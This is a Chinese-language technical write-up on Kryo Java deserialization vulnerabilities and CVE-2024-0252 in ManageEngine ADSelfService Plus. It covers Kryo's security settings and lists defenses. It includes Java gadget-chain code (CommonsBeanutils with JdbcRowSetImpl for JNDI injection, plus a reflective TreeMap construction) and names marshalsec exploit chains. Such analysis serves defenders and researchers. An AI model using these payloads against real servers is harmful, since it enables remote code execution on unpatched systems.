Kryo反序列化漏洞分析与利用(CVE-2024-0252)
1. Kryo简介
1.1 基本介绍
Kryo是一个高效的Java序列化框架,由EsotericSoftware开发,具有以下特点:
- 高性能:序列化/反序列化速度快
- 紧凑的数据格式:序列化后的数据体积小
- 支持循环引用和深拷贝
- 可扩展的序列化器系统
项目地址:https://github.com/EsotericSoftware/kryo
1.2 基本使用
Kryo kryo = new Kryo();
// 序列化
Output output = new Output(new FileOutputStream("file.bin"));
kryo.writeObject(output, object);
output.close();
// 反序列化
Input input = new Input(new FileInputStream("file.bin"));
Object obj = kryo.readObject(input, SomeClass.class);
input.close();
2. Kryo反序列化安全特性
2.1 初始化策略
Kryo提供两种主要的实例化策略:
-
DefaultInstantiatorStrategy(默认策略):
- 需要目标类有public无参构造函数
- 不支持代理类实例化
-
StdInstantiatorStrategy:
- 使用Objenesis库实例化对象
- 可以绕过构造方法创建实例
- 增加了反序列化风险
2.2 安全配置
- registrationRequired参数:
- 5.0+版本默认true(白名单模式)
- 5.0以下版本默认false
- 设置为true时,所有待反序列化的类都需要预先注册
2.3 反序列化方法
Kryo提供两个主要反序列化方法:
-
readClassAndObject(Input input):- 完全动态反序列化
- 风险最高
-
readObject(Input input, Class<T> type):- 指定目标类型
- 但仍可能通过嵌套反序列化触发漏洞
3. 反序列化漏洞原理
3.1 漏洞条件
- 使用Kryo 5.0以下版本(默认registrationRequired=false)
- 配置了
StdInstantiatorStrategy - 反序列化不受信任的数据
3.2 关键点分析
即使使用readObject指定类型,当反序列化容器类(如HashMap)时,其内部元素仍会动态反序列化。例如MapSerializer最终会调用readClassAndObject处理map中的值。
4. CVE-2024-0252分析
4.1 受影响产品
ManageEngine ADSelfService Plus
- 影响版本:6401之前
- 补丁分析:新增
kryo.setRegistrationRequired(true);
4.2 漏洞利用链
使用CommonsBeanutils链+JdbcRowSetImpl触发JNDI注入:
public static HashMap<String, Object> exp(String jdniUrl) throws Exception {
BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
Object trig = makeTreeMap(makeJNDIRowSet(jdniUrl), cmp);
setFieldValue(cmp, "property", "databaseMetaData");
HashMap<String, Object> hashMap = new HashMap();
hashMap.put("test",trig);
return hashMap;
}
4.3 TreeMap构造技巧
由于BeanComparator需要比较对象,构造特殊TreeMap绕过比较:
public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = getField(entryCl, "left");
Field rootF = getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
setFieldValue(tm, "size", 2);
return tm;
}
5. 防御措施
- 升级Kryo到5.0+版本
- 设置
kryo.setRegistrationRequired(true) - 使用安全的反序列化白名单
- 避免反序列化不可信数据
6. 其他利用链
marshalsec工具提供的利用链:
-
marshalsec.Kryo:
[SpringAbstractBeanFactoryPointcutAdvisor, CommonsBeanutils] -
marshalsec.KryoAltStrategy:
[Groovy, SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor,
Rome, XBean, Resin, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
7. 参考资源
- Kryo官方文档
- marshalsec工具
- CommonsBeanutils利用链分析
- JNDI注入原理